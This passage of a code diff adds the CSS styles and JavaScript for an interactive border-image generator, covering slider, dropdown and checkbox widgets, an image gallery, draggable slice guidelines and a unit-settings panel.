+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#controls .category:hover .title {
+	color: #777;
+}
+
+#controls .category &gt; .group {
+	border: 1px solid #CCC;
+	border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+	width: 250px;
+	height: 20px;
+	margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+	margin: 0;
+	float: left;
+}
+
+#controls .property .ui-input-slider-info {
+	width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .name {
+	width: 60px;
+	height: 20px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	line-height: 100%;
+	float: left;
+}
+
+#controls .property .config {
+	width: 20px;
+	height: 20px;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+	opacity: 0.5;
+}
+
+#controls .property .config:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+    opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+    opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+	margin: 0 10px;
+	float: left;
+}
+
+
+#controls .property .ui-checkbox {
+	margin: 0 0 0 16px;
+	float: left;
+}
+
+#controls .property .ui-checkbox label {
+	height: 0.85em;
+	width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+	width: 50px;
+	height: 1.7em;
+	border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+	line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+	top: 20px;
+}
+
+#controls .ui-dropdown-list {
+	border-width: 1px;
+	text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+	overflow: hidden;
+}
+
+#controls .border-repeat {
+	margin: 0 0 0 16px !important;
+	width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+	height: 6.2em;
+	border-width: 1px;
+	text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+	height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+#aditional-properties .property {
+	width: 200px;
+}
+
+#aditional-properties .ui-input-slider &gt; input {
+	width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+	padding: 10px;
+	position: absolute;
+
+	background: #FFF;
+
+	font-size: 12px;
+	border-radius: 3px;
+	border: 1px solid #CCC;
+	text-align: center;
+	color: #555;
+
+	position: absolute;
+	z-index: 1000;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+}
+
+#unit-settings .title {
+	width: 100%;
+	margin: -5px auto 0;
+
+	color: #666;
+	font-size: 14px;
+	font-weight: bold;
+	line-height: 25px;
+	border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+	margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+	width: 50px;
+	line-height: 1.5em;
+}
+
+#unit-settings input {
+	font-size: 12px;
+	width: 40px !important;
+}
+
+#unit-settings .close {
+	width: 16px;
+	height: 16px;
+	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+	background-size: 75%;
+
+	position: absolute;
+	top: 4px;
+	right: 4px;
+	opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+	opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+	opacity: 0;
+	top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+	padding: 10px;
+	border: 2px dashed #888 !important;
+	box-shadow: none !important;
+	border-radius: 3px;
+	overflow: hidden;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
+
+
+@media (min-width: 880px) {
+	#output {
+		width: 63.33% !important;
+	}
+}
+
+@media (max-width: 879px) {
+	#output {
+		width: 87% !important;
+	}
+}
+
+
+#output .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#output .css-property {
+	width: 100%;
+	margin: 0;
+	color: #555;
+	font-size: 14px;
+	line-height: 18px;
+	float: left;
+}
+
+#output .css-property .name {
+	width: 30%;
+	font-weight: bold;
+	text-align: right;
+	float: left;
+}
+
+#output .css-property .value {
+	width: 65%;
+	padding: 0 2.5%;
+	word-break: break-all;
+	float: left;
+}
+
+</pre>
+
+<h3 id="JavaScript_Content">JavaScript Content</h3>
+
+<pre class="brush: js">'use strict';
+
+/**
+ * UI-SlidersManager
+ */
+
+var InputSliderManager = (function InputSliderManager() {
+
+	var subscribers = {};
+	var sliders = [];
+
+	var InputComponent = function InputComponent(obj) {
+		var input = document.createElement('input');
+		input.setAttribute('type', 'text');
+		input.style.width = 50 + obj.precision * 10 + 'px';
+
+		input.addEventListener('click', function(e) {
+			this.select();
+		});
+
+		input.addEventListener('change', function(e) {
+			var value = parseFloat(e.target.value);
+
+			if (isNaN(value) === true)
+				setValue(obj.topic, obj.value);
+			else
+				setValue(obj.topic, value);
+		});
+
+		return input;
+	};
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+
+			document.addEventListener("mouseup", slideEnd);
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		var slideEnd = function slideEnd(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		};
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		};
+
+		return slider;
+	};
+
+	var InputSlider = function(node) {
+		var min		= parseFloat(node.getAttribute('data-min'));
+		var max		= parseFloat(node.getAttribute('data-max'));
+		var step	= parseFloat(node.getAttribute('data-step'));
+		var value	= parseFloat(node.getAttribute('data-value'));
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+		var precision = node.getAttribute('data-precision') | 0;
+
+		this.min = isNaN(min) ? 0 : min;
+		this.max = isNaN(max) ? 100 : max;
+		this.precision = precision &gt;= 0 ? precision : 0;
+		this.step = step &lt; 0 || isNaN(step) ? 1 : step.toFixed(precision);
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit === null ? '' : unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+		value = isNaN(value) ? this.min : value;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	};
+
+	InputSlider.prototype.setInputValue = function setInputValue() {
+		this.input.value = this.value.toFixed(this.precision) + this.unit;
+	};
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = parseFloat(value.toFixed(slider.precision));
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		slider.setInputValue();
+
+		if (send_notify === false)
+			return;
+
+		notify.call(slider);
+	};
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	};
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	};
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	};
+
+	var setStep = function setStep(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.step = parseFloat(value);
+		setValue(topic, slider.value);
+	};
+
+	var setPrecision = function setPrecision(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+		slider.precision = value;
+
+		var step = parseFloat(slider.step.toFixed(value));
+		if (step === 0)
+			slider.step = 1 / Math.pow(10, value);
+
+		setValue(topic, slider.value);
+	};
+
+	var setSensivity = function setSensivity(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		value = value | 0;
+
+		slider.sensivity = value &gt; 0 ? value : 5;
+	};
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+/**
+ * UI-DropDown Select
+ */
+
+var DropDownManager = (function DropdownManager() {
+
+	var subscribers = {};
+	var dropdowns = [];
+	var active = null;
+
+	var visbility = ["hidden", "visible"];
+
+
+	var DropDown = function DropDown(node) {
+		var topic = node.getAttribute('data-topic');
+		var label = node.getAttribute('data-label');
+		var selected = node.getAttribute('data-selected') | 0;
+
+		var select = document.createElement('div');
+		var list = document.createElement('div');
+		var uval = 0;
+		var option = null;
+		var option_value = null;
+
+		list.className = 'ui-dropdown-list';
+		select.className = 'ui-dropdown-select';
+
+		while (node.firstElementChild !== null) {
+			option = node.firstElementChild;
+			option_value = option.getAttribute('data-value');
+
+			if (option_value === null)
+				option.setAttribute('data-value', uval);
+
+			list.appendChild(node.firstElementChild);
+			uval++;
+		}
+
+		node.appendChild(select);
+		node.appendChild(list);
+
+		select.onclick = this.toggle.bind(this);
+		list.onclick = this.updateValue.bind(this);
+		document.addEventListener('click', clickOut);
+
+		this.state = 0;
+		this.time = 0;
+		this.dropmenu = list;
+		this.select = select;
+		this.toggle(false);
+		this.value = {};
+		this.topic = topic;
+
+		if (label)
+			select.textContent = label;
+		else
+			this.setNodeValue(list.children[selected]);
+
+		dropdowns[topic] = this;
+
+	};
+
+	DropDown.prototype.toggle = function toggle(state) {
+		if (typeof(state) === 'boolean')
+			this.state = state === false ? 0 : 1;
+		else
+			this.state = 1 ^ this.state;
+
+		if (active !== this) {
+			if (active)
+				active.toggle(false);
+			active = this;
+		}
+
+		if (this.state === 0)
+			this.dropmenu.setAttribute('data-hidden', 'true');
+		else
+			this.dropmenu.removeAttribute('data-hidden');
+
+	};
+
+	var clickOut = function clickOut(e) {
+		if (active.state === 0 ||
+			e.target === active.dropmenu ||
+			e.target === active.select)
+			return;
+
+		active.toggle(false);
+	};
+
+	DropDown.prototype.updateValue = function updateValue(e) {
+
+		if (Date.now() - this.time &lt; 500)
+			return;
+
+		if (e.target.className !== "ui-dropdown-list") {
+			this.setNodeValue(e.target);
+			this.toggle(false);
+		}
+
+		this.time = Date.now();
+	};
+
+	DropDown.prototype.setNodeValue = function setNodeValue(node) {
+		this.value['name'] = node.textContent;
+		this.value['value'] = node.getAttribute('data-value');
+
+		this.select.textContent = node.textContent;
+		this.select.setAttribute('data-value', this.value['value']);
+
+		notify.call(this);
+	};
+
+	var createDropDown = function createDropDown(topic, options) {
+
+		var dropdown = document.createElement('div');
+		dropdown.setAttribute('data-topic', topic);
+		dropdown.className = 'ui-dropdown';
+
+		for (var i in options) {
+			var x = document.createElement('div');
+			x.setAttribute('data-value', i);
+			x.textContent = options[i];
+			dropdown.appendChild(x);
+		}
+
+		new DropDown(dropdown);
+
+		return dropdown;
+	};
+
+	var setValue = function setValue(topic, index) {
+		if (dropdowns[topic] === undefined ||
+			index &gt;= dropdowns[topic].dropmenu.children.length)
+			return;
+
+		dropdowns[topic].setNodeValue(dropdowns[topic].dropmenu.children[index]);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		var index = subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	};
+
+	var init = function init() {
+		var elem, size;
+
+		elem = document.querySelectorAll('.ui-dropdown');
+		size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new DropDown(elem[i]);
+
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		createDropDown : createDropDown
+	};
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	};
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	};
+
+	var setValue = function setValue(topic, value) {
+		var obj = buttons[topic];
+		if (obj === undefined)
+			return;
+
+		obj.checkbox.checked = value;
+		notify.call(obj);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	};
+
+})();
+
+window.addEventListener("load", function() {
+	BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+	var getElemById = document.getElementById.bind(document);
+
+	var subject;
+	var preview;
+	var guidelines = [];
+	var positions = ['top', 'right', 'bottom', 'left'];
+
+	var makeDraggable = function makeDraggable(elem) {
+
+		var offsetTop;
+		var offsetLeft;
+
+		elem.setAttribute('data-draggable', 'true');
+
+		var dragStart = function dragStart(e) {
+			if (e.target.getAttribute('data-draggable') !== 'true' ||
+				e.target !== elem || e.button !== 0)
+				return;
+
+			offsetLeft = e.clientX - elem.offsetLeft;
+			offsetTop = e.clientY - elem.offsetTop;
+
+			document.addEventListener('mousemove', mouseDrag);
+			document.addEventListener('mouseup', dragEnd);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			document.removeEventListener('mouseup', dragEnd);
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+
+			elem.style.left = e.clientX - offsetLeft + 'px';
+			elem.style.top = e.clientY - offsetTop + 'px';
+		};
+
+		elem.addEventListener('mousedown', dragStart, false);
+	};
+
+	var PreviewControl = function PreviewControl() {
+
+		var dragging = false;
+		var valueX = null;
+		var valueY = null;
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			valueX = e.clientX - preview.clientWidth;
+			valueY = e.clientY - preview.clientHeight;
+			dragging = true;
+
+			document.addEventListener('mousemove', mouseDrag);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0 || dragging === false)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			dragging = false;
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+			InputSliderManager.setValue('preview-width', e.clientX - valueX);
+			InputSliderManager.setValue('preview-height', e.clientY - valueY);
+		};
+
+		var init = function init() {
+
+			makeDraggable(preview);
+			makeDraggable(subject);
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			handle.addEventListener('mousedown', dragStart);
+			document.addEventListener('mouseup', dragEnd);
+
+			preview.appendChild(handle);
+
+		};
+
+		return {
+			init: init
+		};
+
+	}();
+
+	var ImageReader = (function ImageReader() {
+
+		var fReader = new FileReader();
+		var browse = document.createElement('input');
+
+		var loadImage = function loadImage(e) {
+			if (browse.files.length === 0)
+				return;
+
+			var file = browse.files[0];
+
+			if (file.type.slice(0, 5) !== 'image')
+				return;
+
+			fReader.readAsDataURL(file);
+
+			return false;
+		};
+
+		fReader.onload = function(e) {
+			ImageControl.loadRemoteImage(e.target.result);
+		};
+
+		var load = function load() {
+			browse.click();
+		};
+
+		browse.setAttribute('type', 'file');
+		browse.style.display = 'none';
+		browse.onchange = loadImage;
+
+		return {
+			load: load
+		};
+
+	})();
+
+	var ImageControl = (function ImageControl() {
+
+		var scale = 0.5;
+		var imgSource = new Image();
+		var imgState = null;
+		var selected = null;
+
+
+		var topics = ['slice', 'width', 'outset'];
+		var properties = {};
+		properties['border1'] = {
+			fill			: false,
+
+			slice_values	: [27, 27, 27, 27],
+			width_values	: [20, 20, 20, 20],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [1, 1],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border2'] = {
+			fill			: false,
+
+			slice_values	: [33, 33, 33, 33],
+			width_values	: [1.5, 1.5, 1.5, 1.5],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [1, 1, 1, 1],
+			width_units		: [2, 2, 2, 2],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border3'] = {
+			fill			: true,
+
+			slice_values	: [15, 15, 15, 15],
+			width_values	: [10, 10, 10, 10],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border4'] = {
+			fill			: false,
+
+			slice_values	: [13, 13, 13, 13],
+			width_values	: [13, 13, 13, 13],
+			outset_values	: [13, 13, 13, 13],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border5'] = {
+			fill			: false,
+
+			slice_values	: [0, 12, 0, 12],
+			width_values	: [0, 12, 0, 12],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400,
+		};
+
+		properties['border6'] = {
+			fill			: false,
+
+			slice_values	: [42, 42, 42, 42],
+			width_values	: [42, 42, 42, 42],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [350, 350],
+			preview_area	: 500,
+		};
+
+
+		var loadLocalImage = function loadLocalImage(source) {
+			var location = "images/" + source;
+			imgSource.src = location;
+		};
+
+		var loadRemoteImage = function loadRemoteImage(source) {
+			imgSource.src = source;
+			if (selected)
+				selected.removeAttribute('selected');
+			Tool.setOutputCSS('source', 'url("' + source + '")');
+		};
+
+		var pickImage = function pickImage(e) {
+			if (e.target.className === 'image') {
+				selected = e.target;
+				selected.setAttribute('selected', 'true');
+				loadRemoteImage(e.target.src);
+				imgState = e.target.getAttribute('data-stateID');
+			}
+		};
+
+		var loadImageState = function loadImageState(stateID) {
+			if (properties[stateID] === undefined)
+				return;
+
+			var prop = properties[stateID];
+			var topic;
+			var unit_array;
+			var value_array;
+
+			for (var i in topics) {
+				for (var j=0; j&lt;4; j++) {
+					topic = topics[i] + '-' + positions[j];
+					unit_array = topics[i] + '_units';
+					value_array = topics[i] + '_values';
+					InputSliderManager.setValue(topic, prop[value_array][j]);
+					DropDownManager.setValue(topic, prop[unit_array][j]);
+				}
+			}
+
+			ButtonManager.setValue('slice-fill', prop['fill']);
+			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+			InputSliderManager.setValue('preview-width', prop['size'][0]);
+			InputSliderManager.setValue('preview-height', prop['size'][1]);
+			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+		};
+
+		var update = function update() {
+			scale =  Math.min(300, (30000 / this.width) | 0);
+			setScale(scale);
+			InputSliderManager.setValue('scale', scale, false);
+
+			subject.style.backgroundImage = 'url("' + this.src + '")';
+			preview.style.borderImageSource = 'url("' + this.src + '")';
+
+			guidelines['slice-top'].setMax(this.height);
+			guidelines['slice-right'].setMax(this.width);
+			guidelines['slice-bottom'].setMax(this.height);
+			guidelines['slice-left'].setMax(this.width);
+
+			if (imgState)
+				loadImageState(imgState);
+		};
+
+		var setScale = function setScale(value) {
+			scale = value;
+			var w = imgSource.width * scale / 100 | 0;
+			var h = imgSource.height * scale / 100 | 0;
+			subject.style.width = w + 'px';
+			subject.style.height = h + 'px';
+
+			for (var i = 0; i &lt; positions.length; i++)
+				guidelines['slice-' + positions[i]].updateGuidelinePos();
+		};
+
+		var getScale = function getScale() {
+			return scale/100;
+		};
+
+		var toggleGallery = function toggleGallery() {
+			var gallery = getElemById('image-gallery');
+			var button  = getElemById('toggle-gallery');
+			var state = 1;
+			button.addEventListener('click', function() {
+				state = 1 ^ state;
+				if (state === 0) {
+					gallery.setAttribute('data-collapsed', 'true');
+					button.setAttribute('data-action', 'show');
+				}
+				else {
+					gallery.removeAttribute('data-collapsed');
+					button.setAttribute('data-action', 'hide');
+				}
+			});
+		};
+
+		var init = function init() {
+			var gallery = getElemById('image-gallery');
+			var browse = getElemById('load-image');
+			var remote = getElemById('remote-url');
+			var load_remote = getElemById('load-remote');
+
+			remote.addEventListener('change', function(){
+				loadRemoteImage(this.value);
+			});
+
+			load_remote.addEventListener('click', function(){
+				loadRemoteImage(remote.value);
+			});
+
+			browse.addEventListener('click', ImageReader.load);
+			gallery.addEventListener('click', pickImage);
+			imgSource.addEventListener('load', update);
+
+			InputSliderManager.subscribe('scale', setScale);
+			InputSliderManager.setValue('scale', scale);
+			imgState = 'border1';
+			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+			toggleGallery();
+		};
+
+		return {
+			init: init,
+			getScale : getScale,
+			loadRemoteImage: loadRemoteImage
+		};
+
+	})();
+
+	var GuideLine = function GuideLine(node) {
+		var topic = node.getAttribute('data-topic');
+		var axis = node.getAttribute('data-axis');
+
+		this.node = node;
+		this.topic = topic;
+		this.axis = axis;
+		this.info = topic.split('-')[1];
+
+		this.position = 0;
+		this.value = 0;
+		this.unit = 0;
+		this.max = 0;
+		this.pos = positions.indexOf(this.info);
+
+		guidelines[topic] = this;
+
+		var relative_container = document.createElement('div');
+		var tooltip = document.createElement('div');
+		var tooltip2 = document.createElement('div');
+
+		tooltip.className = 'tooltip';
+		tooltip.setAttribute('data-info', this.info);
+
+		tooltip2.className = 'tooltip2';
+		tooltip2.textContent = this.info;
+		tooltip2.setAttribute('data-info', this.info);
+
+		this.tooltip = tooltip;
+
+		relative_container.appendChild(tooltip);
+		relative_container.appendChild(tooltip2);
+		node.appendChild(relative_container);
+
+		var startX = 0;
+		var startY = 0;
+		var start = 0;
+
+		var startDrag = function startDrag(e) {
+			startX = e.clientX;
+			startY = e.clientY;
+			start = guidelines[topic].position;
+			document.body.setAttribute('data-move', axis);
+			relative_container.setAttribute('data-active', '');
+			node.setAttribute('data-active', '');
+
+			document.addEventListener('mousemove', updateGuideline);
+			document.addEventListener('mouseup', endDrag);
+		};
+
+		var endDrag = function endDrag() {
+			document.body.removeAttribute('data-move');
+			relative_container.removeAttribute('data-active');
+			node.removeAttribute('data-active');
+
+			document.removeEventListener('mousemove', updateGuideline);
+		};
+
+		var updateGuideline = function updateGuideline(e) {
+			var value;
+			if (topic === 'slice-top')
+				value = e.clientY - startY + start;
+
+			if (topic === 'slice-right')
+				value = startX - e.clientX + start;
+
+			if (topic === 'slice-bottom')
+				value = startY - e.clientY + start;
+
+			if (topic === 'slice-left')
+				value = e.clientX - startX + start;
+
+			if (this.unit === 0)
+				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+			else {
+				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+			}
+
+		}.bind(this);
+
+		node.addEventListener("mousedown", startDrag);
+
+		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+		InputSliderManager.setValue(topic, this.position);
+	};
+
+
+	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+		if (this.unit === 0)
+			this.position = this.value * ImageControl.getScale() | 0;
+		else
+			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+		this.node.style[this.info] = this.position + 'px';
+	};
+
+	GuideLine.prototype.setPosition = function setPosition(value) {
+		this.value = value;
+		this.tooltip.textContent = value;
+		this.updateGuidelinePos();
+		Tool.setBorderSlice(this.pos, value);
+	};
+
+	GuideLine.prototype.setMax = function setMax(max) {
+		this.max = max;
+		this.updateLimit();
+	};
+
+	GuideLine.prototype.updateLimit = function updateLimit() {
+		if (this.unit === 1)
+			InputSliderManager.setMax(this.topic, 100);
+		else
+			InputSliderManager.setMax(this.topic, this.max);
+	};
+
+	GuideLine.prototype.setUnit = function setUnit(type) {
+		if (type === '%')	this.unit = 1;
+		if (type === '')	this.unit = 0;
+		this.updateLimit();
+	};
+
+	/*
+	 * Unit panel
+	 */
+	var UnitPanel = (function UnitPanel () {
+
+		var panel;
+		var title;
+		var precision;
+		var step;
+		var unit_topic = null; // settings are made for this topic
+		var step_option = [1, 0.1, 0.01];
+
+		var updatePrecision = function updatePrecision(value) {
+			InputSliderManager.setPrecision('unit-step', value);
+			InputSliderManager.setStep('unit-step', step_option[value]);
+			InputSliderManager.setMin('unit-step', step_option[value]);
+
+			if (unit_topic)
+				InputSliderManager.setPrecision(unit_topic, value);
+		};
+
+		var updateUnitSettings = function updateUnitSettings(value) {
+			if (unit_topic)
+				InputSliderManager.setStep(unit_topic, value);
+		};
+
+		var show = function show(e) {
+			var topic = e.target.getAttribute('data-topic');
+			var precision = InputSliderManager.getPrecision(topic);
+			var step = InputSliderManager.getStep(topic);
+
+			unit_topic = topic;
+			title.textContent = topic;
+
+			panel.setAttribute('data-active', 'true');
+			panel.style.top = e.target.offsetTop - 40 + 'px';
+			panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+			InputSliderManager.setValue('unit-precision', precision);
